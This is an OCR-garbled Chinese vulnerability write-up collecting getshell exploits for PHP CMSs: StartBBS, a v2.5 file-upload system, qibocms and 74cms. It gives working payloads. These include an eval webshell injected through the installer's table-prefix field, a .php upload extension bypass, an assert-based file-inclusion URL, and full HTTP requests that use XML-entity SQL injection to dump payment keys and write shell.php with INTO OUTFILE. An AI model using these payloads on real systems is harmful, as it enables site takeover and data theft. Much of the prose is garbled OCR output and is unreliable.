$this->Toad->Tibrary('myclass');
$file=FCPATH. 'install.lock"';
if (file_exists($file)){
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$this->myclass->notice('alert(" &S &3t
"Y;window.location.href="".site_ur1(Q."";"');
h
b

FRIXBEHE T, MEs B A &S AE install.lock, X5
FH javascript B9 NG VR P R G BN, SREREE, ARIXA
REIAARA IR Y A7 45 300, 1% N IS B I EHT T LIGEAT,  FRAR IR KA
T—/> window.location.href g5 113877,
(this->myclass->notice() Tt &A% 151 TR AY)

NJE, EFETHE, BLRETR BILLERI AL

public function step($step)
{
$datal'step']=$%step;
if($step==1 || $step==2){
$data['permission'] =
$this->_checkFileRight(Q);

$this->Toad->view('install', $data);
b
if($step==3){
$this->_install_do();

ks
ks
function _install_do(Q)
{

$data['step']=3;
if($_PosT){
$dbhost =
$this->input->post('dbhost');
$dbport

$this->input->post('dbport');
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$dbname

$this->input->post('dbname');
$dbuser

$this->input->post('dbuser');

$dbpwd =
$this->input->post('dbpwd')?$this->input->post('dbpw
dl):ll;

$dbprefix =
$this->input->post('dbprefix');

$userid =
$this->input->post('admin');

$pwd =
md5($this->input->post('pwd'));

femail =

$this->input->post('email’');

$sub_folder =
'/'.$this->input->post('base_url')."'/";

$conn =
mysql_connect($dbhost."':"'.$dbport, $dbuser, $dbpwd) ;

if (!$conn) {

die(' LikiEHE2H

PRS2, EREHA B HEMESIERS");

3

if($this->input->post('creatdb')){

if(!@mysql_query('CREATE DATABASE IF NOT EXISTS
'.$dbname)) {
die('#5
SEMEARE (. $dbname . ") RG AR, E B H AN 7 a2 HL
HE");
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if(!mysql_select_db($dbname, $conn)) {
die($dbname. "%
PEEAAAAE, HO SR EEIES. ') ;

}
$sq1 =
file_get_contents (FCPATH. 'app/config/startbbs.sql');
$sql =
str_replace("sb_", $dbprefix, $sql);
$explode =

explode(";",$sq1);

$data['msgl']="6I&%K" . $dbname. "B, EM

JG<br/>";
foreach
($explode as $key=>$value){
if(lempty($value)){
ifCtrim($value)){
mysql_query($ve
3
ks
3
$password =
$pwd;
$ip=$this->myclass->get_ip(Q);
$insert=

"INSERT INTO ".$dbprefix."users
(group_type,qgid,is_active,username,password,email,re
gtime,ip) VALUES
co','1','1","" . $userid."","'".$password." "', '".$email.
"M time )L, L Sip.t) Y
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mysql_query($insert);
mysql_close($conn);
$datal['msg2']="%2EM, IEERFEE X/, EH
$dbconfig =
"<?php if ( ! defined('BASEPATH')) exit('No direct
script access allowed"');\n"
."\S$active_group = 'default';\n"

."\$active_record = TRUE;\n"

"\$db['default']["hostname'] =
'" . $dbhost.""';\n"

"\$db['default']['port'] = '".S$dbport.""';\n"

."\$db['default']['username']
'" . $dbuser.""';\n"

"\$db['default']['password']
" $dbpwd." " ;\n"

"\$db['default']['database']
'" . $dbname." "' ;\n"

."\$db["'default']['dbdriver"']

"mysql’';\n

."\$db["'default']['dbprefix']
"".$dbprefix."";\n"
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."\$db['default']['pconnect'] = TRUE;\n"

."\$db['default']['db_debug'] = TRUE;\n"

."\$db['default']['cache_on'] = FALSE;\n"

"\$db['default']['cachedir'] =
"app/cache’ ;\n"

."\$db['default']['char_set'] = 'utf8';\n"

."\$db['default']['dbcollat'] =
'utf8_general_ci';\n"

."\$db['default']['swap_pre'] = "";\n"
"\$db['default']['autoinit'] = TRUE;\n"
"\$db['default']['stricton'] = FALSE;";
$file =
FCPATH. '/app/config/database.php’;

file_put_contents($file, $dbconfig);

//1#1% config X
4

if($sub_folder){

$this->config->update('myconfig', 'sub_folder",
$sub_folder);
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$encryption_key = md5Cunigqid());

if($encryption_key){

$this->config->update('myconfig', "encryption_

key', $encryption_key);

$datal['msg3']="{RAFMCE M5B ;5

touch(FCPATH. "install.lock");

$datal'msg4 ' 1="061E8 & 23 install. Tock L

$datal['msg5']="2%% startbbs %! ";
h

$this->Toad->view('install', $data);

4 step HEIZECN 3 B, BT 23R R EL_install_do(), XANEHEE
WA T BARE, HHEEIE ERLE S EAT
“/app/config/database.php”, /&, FATrILAE— T s cl ez
—AJiE B BNX ANELE S,

BATER], XANBEER T VFZ post HffE :
$dbhost = $this->input->post('dbhost');
$dbport = $this->input->post('dbport');
$dbname = $this->input->post('dbname');

$dbuser = $this->input->post(‘dbuser');
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$dbpwd =
$this->input->post(‘dbpwd')?$this->input->post(‘dbpwd'):";
$dbprefix = $this->input->post('dbprefix');

$userid = $this->input->post(‘admin');

$pwd = md5($this->input->post('pwd"));

$email = $this->input->post(‘email');

$sub_folder = '/'.$this->input->post('base_url').'/";

Hrh dbhost, dbport., dbname, dbuser, dbpwd #8RHRERE(HEELE,
GBI sk & gL, 1 userid, pwd. email. sub_folder #{ /&%
ANEHREER), RNEARESCIE, Frileid T dbprefix T, FroAFRATAI LA
KPR EIX AR

dbprefix=sb_'; @eval ($_POST[101]);$xxx="

NN [T R4 v2.5 HiE getshell

{E#: roker
module/file/control.php

pubTic function ajaxUpload($uid)

{
$file = $this->file->getUpload('imgFile');
$file = $file[0];
if($file)
{

if(1$this->file->checksaverPath())
$this->send(array('error' => 1, 'message' =>
$this->Tang->file->errorunwritable));
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move_uploaded_fiTe($file['tmpname'],
$this->file->savepPath . $file['pathname']);

if(in_array(strtolower($file['extension']),
$this->config->file->imageExtensions) !== false)

{

$this->file->compressImage($this->file->savePath .
$file['pathname']);
$imagesize =
$this->file->getImageSize($this->file->savePath .
$file['pathname']);
$file['width'] = $imageSize['width'];
$file['height'] = $imageSize['height'];
}
$url = $this->file->webPath .
$file['pathname'];
$file['addedBy'] =
$this->app->user->account;
$file['addedpate'] = helper::now();
$file['editor'] = dlg
unset($file['tmpname']);

$this->dao->insert(TABLE_FILE)->data($file)->exec();
$_SESSION['album'][$uid][] =
$this->dao->TastInsertID();
die(json_encode(array('error' => 0, 'url' =>
$ur1)));
}

A EARSCIFH
PR3
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pubTlic function getUpload($htmlTagName = 'files')
{
$files = array(Q;
if(lisset($_FILES[$htmlTagName])) return
$files;
/* The tag if an array. */
if(is_array($_FILES[$htmlTagName]['name']))
{
extract($_FILES[$htmlTagName]);
foreach($name as $id => $filename)
{
if(empty($filename)) continue;
§file['extension'] =
$this->getExtension($filename);

Yk4r iR getExtension B

public function getExtension($filename)
{
$extension = pathinfo($filename,
PATHINFO_EXTENSION) ;
if(empty($extension)) return 'txt';
if(strpos($this->config->file->dangers,
strtolower($extension)) !== false) return 'txt';
return $extension;

dangers HIfE &

$config->file->dangers = 'php,jsp,py,rb,asp,'; //
Dangerous file types.
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if(strpos($this->config->file->dangers, strtolower($extension))

I== false) return 'txt'

XAIEB A R, NI strpos AN SHLE &5 T,
Bilin LIAE a.php+kE g wlae gl 7

POST v ajaxUp! i HITH
B @ localhost//file-sjax 213 htmi7dir=image W B HITP Headers
RS | JatEses [ EEe L Rem B ses (Resee)
] Send POST Content 7
T v| = & SQi- XSS Encryption- Encoding- Other-
rrrrrrrrrrrrrrrrrrrrrrrrrr 3072924525250\\n
| Load URL Content-Disposition: form-data; name="localUrl"\\n
Solit URL Vin
Execute

202452525000

[l Enable Post data [ Enable Referrer ta: name="imgFile": flename="a.php "\\n

- - - tet-streamir\n
“error”:0, "url”:"\/data\/upload\/201408\/f_7647bddbb4283930£c8a0a850dd8b0T. php ~) ’
h . php phpinfo
ot - an7203453550-mm
fupload/201408//f 7647bddbh4283930fc8a%a850ddi8h07.php Y 8~ & | B- Google <Ctii+k>

Cwrre | =t B =es (messs)
¥SS- Encryption- Encoding- Other-

ostdata [ | Enable Referrer

System Windows NT Roker’ home 6.2 build 5200

Build Date Nov § 2007 23:18:08

Configure Command cscript /moloso configure j= “—snable-snapshot-build” "——with—
sd=shared”

Server APL Apache 2.0 Handler

Virtual Directory Support |snsbled

Coafiguration File C:\Windows

4 & # AR Al B T KR

}}S’\

qibocms 43 2K
Getshell

E#&: W
9k %E — T inc/common.inc.php

isset($page) && $page = intval($page);
isset($id) && $id = intval($id);
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intval($fup);
intval($aid);
intval($rid);

isset($fup) && $aid
isset($aid) && $aid
isset($rid) && $rid
isset($fid) && $fid = intval($fid);
isset($cid) && $cid intval($cid);
isset($cityid) && $cityid = intval($cityid);

ALLEE| city_id 7E2 RS #E intval T,

F% %) search.php

$postdb[city_id] && $city_id =
$postdb[street_id] && $street_id =
$postdb[zone_1id] && $zone_id =

@include_once(ROOT_PATH. "data/zone/$city_id.php");//
(SR
$city_fid=select_where("{$_pre}city"," ' 'postdb[city_i
d]’
onChange=\"choose_where('getzone',this.options[this.
selectedindex].value,'"',"1","'"D)\"",$city_id);

ERAFE S BT

{BJEIK N qibo AOKFERME 7 qibo BYfE & 024
function_exists('html') OR exit('ERR");

AT LAEL RS 175 AT HY,

SEIXAEHIWTEY BT LATA R S R AR AT Bl T LB SR B R SO e
R AREdEMEEE G,

ATLL qibo FEHRVEELE O SCIF A IE Skt g T, At T EL,
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{2 FTIF do/js.php K3

<?php

error_reporting(0);

require(dirname(__FILE_)."/../data/config.php");

if(leregi("AC[0-91+)$",$_GET['id"'1)){
die("document.write('ID AEE") ;") ;

B4 extract BT, IRELER B,

1£ admin/hack.php #

if($hack&&ereg("A([a-z_0-9]1+)$", $hack))

{

if(is_file(ROOT_PATH. "hack/$hack/admin.php"))
{

include (ROOT_PATH. "hack/$hack/admin.php");

}else{

showmsg (" SCHEAAEAE") 5

}

}

FELE St BaRsEiR,

1£ hack/jfadmin/admin.php #

elseif($action=="addjf"&&$Apower[jfadmin_mod])
{

$db->query ("INSERT INTO {$prel}jfabout’
( "fid*, "title  , “content , "Tist ) VALUES ( '$fid',
'$title', '$content', '$list' )");
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Jump ("SI0
", "index.php?1fj=jfadmin&job=1istjf&fid=$fid",1);
}

XENET .
HEZE| do/jf.php

$1fjdb && $1fjdb[money]=get_money($1fjdbluid]);
$query = $db->query("SELECT * FROM {$pre}jfsort ORDER
BY list");
while($rs = $db->fetch_array($query)){

$fnamebB[$rs[fid]]=$rs[name];

$query2 = $db->query("SELECT * FROM
{$pre}jfabout WHERE fid='$rs[fid]' ORDER BY 1list");//
XEENEMAZ 1 FUAERNE fid 81

while($rs2 = $db->fetch_array($query2)){

eval("\$rs2[titlel=\"$rs2[titlel\";");//#
eval .

eval ("\$rs2[content]=\"$rs2[content]\";");
$jfoB[$rs[fid]]1[1=$rs2;
3
WA B — g e, HUR B T

1£ inc/common.inc.php #

function Add_s($array){
foreach($array as $key=>$value){
@eregi("["\\\"]+",$key) &_& die('ERROR
KEY!');
if(lis_array($value)){
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$value=str_replace("&#x","& #
x",$value); /)i E— R e
$value=preg_replace("/eval/i","eva 1", %$value);
[/ IEIEA A R
lget_magic_quotes_gpc() &&
$value=addsTashes($value);
$array[$keyl=$value;
}else{

$array[$key]=Add_s($array[$key]);
h
h

return $array;

}

1 eval B T, IXFERATHH assert 2,

http://web/new/fenlei/search.php?mid=1&action=search&key
word=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&a
ction=addjf&Apower[jfadmin_mod]=1&fid=1&title=${@assert
($_POST[yul)}

http://web/new/fenlei/do/jf.php
POST : yu=phpinfo();
BEEEE TN T T

http://** . %% ** **/do/if.php
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@ Load URL. http://gbfenleils.2fly.com.cn/do/if.php

¥ spit URL

r)  Execute

[ Enable Post data Enable Referrer
Post data yu=phpinfo(};

Bystem Windows NT SERVER? 5. 2 bnild 3790

Build Date Tul 27 2010 10:41:30

Configure Command |cscript fnologo configur S iaV et i -
“~—with-snapshot-template=d: \php—sdki=nap 5 2hwebix864 ténpl
T amat o mu FlAl At omabia e emamoeearoa

WAHE

B IRTAA G T BT A ZHE M FE +getshen

TEH: Rt

MR 74 74cms_v3.5.1_20141027.zip, diff T—TFAEI T FEAI%K
o

diff -Nurp upload.1020/pTlus/weixin.php
upload.1027/plus/weixin.php

--- upload.1020/plus/weixin.php 2014-10-18
12:14:22.000000000 +0800
+++ upload.1027/plus/weixin.php 2014-10-25

14:45:22.000000000 +0800
@@ -21,10 +21,10 @@ cTlass wechatCallbackapiTest extends
mysq

}

public function responseMsg()

{
_ if(!$this->checksignature())
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- {

- exit(Q);
- }
+ // if(!$this->checkSignature())
+ // A
+ // exit(Q;
+ // }
$postsStr =

addslashes ($GLOBALS["HTTP_RAW_POST_DATA"]);
if (lempty($poststr))
{

http://** ** ** **/bugs/wooyun-2014-075009 5453 Hrid ix H
#) XXE I Ll &% SQLL, i, kR 744~ BUG,

Je%E code.

class wechatcCallbackapiTest extends mysql

{
pubTlic function valid()

{
$echostr = $_GET["echostr"];
if($this->checkSignature())
{
exit($echostr);
3
}
public function responseMsg()
{
// if(!$this->checkSignature())
// A
// exit(Q;
// }
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$postStr =
addslashes ($GLOBALS["HTTP_RAW_POST_DATA"]);
if (lempty($poststr))
{
//
Tibxml_disable_entity_loader(true);
$postobj = simplexml_load_string($poststr,
'SimpTexXMLETement', LIBXML_NOCDATA) ;
$fromusername = $postObj->FromuserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postobj->Content);
$keyword =
utf8_to_gbk($keyword);
$keyword =
addslashes($keyword) ;
$time = time();
$event = trim($postobj->Event);
if ($event === "subscribe")
{

$word=

$this->exit_word_message($word, $fromusername,

$toUsername, $time);

$default_pic=R0O0T."/data/images/" .DEFAULT_PIC

$first_pic=ROOT."/data/images/".FIRST_PIC;
if($event === "CLICK"){
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if($_CFG['weixin_apiopen']=="0")
{

$word="1g0YI¢PA®rO;UONY'@+0";

$this->exit_word_message($word, $fromusername,
$toUsername, $time);

if($postobj->Eventkey=="binding") {

$usinfo =
$this->get_user_info($fromusername);
if(lempty($Susinfo)){
$word="AUONY OYS'YyAE!";
lelse{
$word="CEEAEEAUUAOECAAUAE.
AyEc:0AEy/123456";
3

$this->exit_word_message($word, $fromusername,
$toUsername, $time);

private function get_user_info($fromusername) {
$usinfo = array(Q);
$usinfo_obj = $this->query("select *
.table('members')." where

from

weixin_openid="".$fromusername."' Timit 1");
while($row =

$this->fetch_array($usinfo_obj)){
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$usinfo = $row;
h

return $usinfo;

h
$postStr = addslashes ($GLOBALS["HTTP_RAW_POST_DATA"]);

st#A POST_DATA % T addslashes,

$postobj = simplexml_load_string($poststr,
'SimpTeXMLETement', LIBXML_NOCDATA);
$fromusername = $postObj->FromuserName;

$usinfo = $this->get_user_info($fromusername);
===p>

$this->query("select * from ".tabTe('members')." where

weixin_openid="'".$fromusername."' Timit 1");

$fromUsername M simplexml_load_string ()Gt B4 A T SQL
1, addslashes($GLOBALS["HTTP_RAW_POST_DATA"])ut s T
T A R, 2 B GRS ER, [N XML HARRER T4 40 rT LAt

FRR AT RRR S S SR gfid
> JHiGFRIE &gt;

< Zidrid &1t;

" 5|5 &quot;

' {itS &apos;

& 15 &amp;

gt & e XML H i H&apos st B Ak E T, - HIXH post data
AT NE, LA AR SQL iEA), AT AFRATAT LS A B 1,
H =% getshell.
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FE T mAIAR, WVrEASU, XERA SRR, KX BT
$_CFG['weixin_apiopen']=="'0"),

if($event === "CLICK"){

if($_CFG['weixin_apiopen']=="0")
{

$word="1g0YI¢PA®rO;UONY'@+0";

$this->exit_word_message($word, $fromusername,
$toUsername, $time);

A, XHEA$_CFG['weixin_apiopen' | EAIA R L 2 T m AL a] LA
HIREAT -

<?php
$_CFG = 0;
class Test {
function myprint() {
echo "$_CFG in class=" . $_CFG;

}

echo "in file =" . $_CFG;
$tt = new Test();
$tt->myprint(Q;

?>

TED T BT ] — %% k% %k xx:8081/74cms/test.php, 455N :

in file =0
Notice: Undefined variable: _CFG 1in
/var/www/html/74cms/test.php on line 7
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Notice: Undefined variable: _CFG in
/var/www/html/74cms/test.php on line 7
in class=

it /& 7E class object B Vil$_CFG J& L4401,
W, BB,

$_CFG['weixin_apiopen']=="0

RAS R A AT HRA 2 LR, RERSE B IFARTF weixin_api,
T, PTASIFRREIHRPERR T, FTLAEHBHEAN T,
— TN 74cms_v3.5.1_20141027 BRINZZLEMIR -

POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1

content-Type: application/xml

User-Agent: httpde/5.0.12

Host: ¥# %% *%% *%:8081

content-Length: 155

<xml>

<ToUserName>11l</ToUserName>
<FromUserName>1111&apos;</FromuserName>
<Content>2222</Content>
<Event>CLICK</Event>
<EventKey>binding</EventKey>

</xml>

UNION SELECT:
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POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1

Content-Type: application/xml

User-Agent: http4e/5.0.12

Host: ## %% *%% *%:8081

Content-Length: 226

<xml>

<ToUserName>1ll</ToUserName>
<FromUserName>1111&apos; union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2
1,22#</FromuserName>

<Content>2222</Content>

<Event>CLICK</Event>

<EventKey>binding</EventKey>

</xml>

RIBCCATARSC Y key

POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1

Content-Type: application/xml

User-Agent: httpde/5.0.12

Host: *% #% #% #%:8081

content-Length: 303

<xml>

<ToUserName>1ll</ToUserName>
<FromUserName>1111&apos; union select (select
group_concat(id,0x7c,typename,0x7c,ytauthkey,0x5d)
from
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gs_payment),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,
18,19,20,21,22#</FromuserName>
<Content>2222</Content>

<Event>CLICK</Event>
<EventKey>apply_jobs</EventKey>

</xml>

getshell:

POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1

Content-Type: application/xml

User-Agent: http4e/5.0.12

Host: ¥# %% *%% *%:8081

content-Length: 324

<xml>

<ToUserName>1ll</ToUserName>

<FromUserName>1111&apos; union select
0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8,
9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE
&apos; /var/www/html/74cms/data/shell.php&apos;
#</FromUserName>

<Content>2222</Content>

<Event>CLICK</Event>

<EventKey>binding</EventKey>

</xml>

XEFNE shell.php #7724 58R, data HXARAT,

B, (B2, M TLH— N EEAR SRR H X

HM— AP, Kfe—3kty, KRS 0777 BRI H -
'data/avatar/100/2014',shell BtA&EFIX 4 B 350E,
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POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1

Content-Type: application/xml

User-Agent: http4e/5.0.12

Host: ## %% *%% *%:8081

Content-Length: 340

<xml>

<ToUserName>1ll</ToUserName>

<FromUserName>1111&apos; union select
0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8,
9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE
&apos;/var/www/html/74cms/data/avatar/100/2014/shell.
php&apos; #</FromuserName>

<Content>2222</Content>

<Event>CLICK</Event>

<EventKey>binding</EventKey>

</xml>

by

[3 127.0.0.1:8081/74cms/data/avatar/100/ 2014/shell.php

System Linux localhostlocaldomain 3.16.6-200c20x86_64 #1 SMP Wed Oct 15 13:06:51 UTC
2014 x86_64
Build Date | Oct 16 2014 13:16:25

Server API | Apache 2.0 Handler

Virtual disabled
Directory
Support
Configuration | /etc
File (php.ini)
Path
Loaded Jetc/php.ini
Configuration
File
scan thisdir |/etc/php.d
for additional
ini files
te/php.d/fbz2.ni, fete/phy ini, /ete/php.d/etype.ini, fete/php.dfeurlini,
inii files e e A R e
parsed te/php.d/fgd.ini, [etc/php.dfgettext.ini, [etcfphp.dfi i Jete/php.d
Jete/ph ing.ini, fetc/php.d/merypt.ni, Jete/php.d, ind.
Jete/php.d, Ind_mysqlini, /etc/php.d/mysqind_mysgli.ni, /etc/php.d/pdo.ini,
Jete/php.d/pdo_mysqind.ini, /etc/php.d/pdo._sglite.ini, /etc/php.d/phar.ini,
te/php.d/posixini, fete/php.d/shmop.ini, /ete/php.d/si in,
te/php.d/fsockets.ini, /etc/php.dfsglite3.i /php.d
te/php.d ini, /ete/php.d, hm.ini, /ete/ph izerni,
Jete/php.d/xml.ini, fetefphp.dfzm|_wdds.ini, /ete/ph caderini,
Jete/php.dfxmiwriter.ni, /etc/php.dfcslini
PHP APL 20121113
BHR 20191919
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